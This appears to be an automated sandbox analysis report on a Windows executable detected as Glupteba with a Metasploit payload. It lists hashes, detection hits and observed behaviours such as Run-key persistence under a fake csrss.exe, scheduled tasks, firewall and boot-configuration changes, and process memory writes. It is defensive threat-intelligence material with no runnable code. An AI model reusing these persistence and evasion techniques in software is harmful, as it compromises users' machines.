Analysis
-
max time kernel
172s -
max time network
181s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2023 18:32
Static task
static1
Behavioral task
behavioral1
Sample
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe
Resource
win10v2004-20221111-en
General
-
Target
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe
-
Size
3.9MB
-
MD5
7fc701478f1d43c3e62ff6d9c434ee77
-
SHA1
790ba947810a29810ca9d5738abc6b03c9805cce
-
SHA256
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb
-
SHA512
d1ede33eeeb3d5d2dd44f73fda21bef9ae60c6a9c10d71aa9d5b57d2b233c7793f7b0e1deea1bf74f5084191bc86afa5ccb60803051efbe9491a3960a515e456
-
SSDEEP
98304:p1q76W1ZJJMknyymHzEnewyOzDFWmrqwKd:pox1Kkny1Xd2Doe5u
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 10 IoCs
Processes:
resource yara_rule behavioral2/memory/664-133-0x0000000001320000-0x0000000001B25000-memory.dmp family_glupteba behavioral2/memory/664-134-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/664-135-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/3524-138-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/664-139-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/3524-142-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/2480-147-0x0000000001800000-0x0000000002005000-memory.dmp family_glupteba behavioral2/memory/2480-149-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/3524-148-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba behavioral2/memory/2480-150-0x0000000000400000-0x0000000000C1F000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 1860 created 664 1860 svchost.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe PID 1860 created 2480 1860 svchost.exe csrss.exe PID 1860 created 2480 1860 svchost.exe csrss.exe PID 1860 created 2480 1860 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 2480 csrss.exe 4508 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SnowyTree = "\"C:\\Windows\\rss\\csrss.exe\"" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 2320 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exedescription ioc process File opened for modification C:\Windows\rss 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe File created C:\Windows\rss\csrss.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe -
Program crash 54 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4324 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 1408 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3880 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 1556 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3152 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4600 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 1644 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 224 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3060 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4532 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 984 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4052 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4688 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 1088 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3100 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 2472 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4696 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4800 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 928 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 1436 664 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3768 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4904 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4984 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3284 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 956 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 2244 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 2248 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4556 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3412 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 2460 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 4468 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 2024 3524 WerFault.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 700 2480 WerFault.exe csrss.exe 2432 2480 WerFault.exe csrss.exe 3460 2480 WerFault.exe csrss.exe 3076 2480 WerFault.exe csrss.exe 3652 2480 WerFault.exe csrss.exe 4704 2480 WerFault.exe csrss.exe 8 2480 WerFault.exe csrss.exe 3444 2480 WerFault.exe csrss.exe 3508 2480 WerFault.exe csrss.exe 364 2480 WerFault.exe csrss.exe 2056 2480 WerFault.exe csrss.exe 4296 2480 WerFault.exe csrss.exe 5040 2480 WerFault.exe csrss.exe 4428 2480 WerFault.exe csrss.exe 2012 2480 WerFault.exe csrss.exe 3532 2480 WerFault.exe csrss.exe 1088 2480 WerFault.exe csrss.exe 3100 2480 WerFault.exe csrss.exe 4152 2480 WerFault.exe csrss.exe 4684 2480 WerFault.exe csrss.exe 2940 2480 WerFault.exe csrss.exe 2800 2480 WerFault.exe csrss.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3112 schtasks.exe 4332 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exepid process 664 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 664 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 664 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Token: SeImpersonatePrivilege 664 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe Token: SeTcbPrivilege 1860 svchost.exe Token: SeTcbPrivilege 1860 svchost.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe Token: SeSystemEnvironmentPrivilege 2480 csrss.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe Token: SeBackupPrivilege 1860 svchost.exe Token: SeRestorePrivilege 1860 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.execmd.execsrss.exedescription pid process target process PID 1860 wrote to memory of 3524 1860 svchost.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe PID 1860 wrote to memory of 3524 1860 svchost.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe PID 1860 wrote to memory of 3524 1860 svchost.exe 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe PID 3524 wrote to memory of 4348 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe cmd.exe PID 3524 wrote to memory of 4348 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe cmd.exe PID 4348 wrote to memory of 616 4348 cmd.exe netsh.exe PID 4348 wrote to memory of 616 4348 cmd.exe netsh.exe PID 3524 wrote to memory of 2480 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe csrss.exe PID 3524 wrote to memory of 2480 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe csrss.exe PID 3524 wrote to memory of 2480 3524 5f3248f2c25a744211d4c4d877a8d2f81c6b57e1411482169d95eeb74c063eeb.exe csrss.exe PID 1860 wrote to memory of 3112 1860 svchost.exe schtasks.exe PID 1860 wrote to memory of 3112 1860 svchost.exe schtasks.exe PID 1860 wrote to memory of 4332 1860 svchost.exe schtasks.exe PID 1860 wrote to memory of 4332 1860 svchost.exe schtasks.exe PID 1860 wrote to memory of 4508 1860 svchost.exe patch.exe PID 1860 wrote to memory of 4508 1860 svchost.exe patch.exe PID 2480 wrote to memory of 2320 2480 csrss.exe bcdedit.exe PID 2480 wrote to memory of 2320 2480 csrss.exe bcdedit.exe
Processes
-
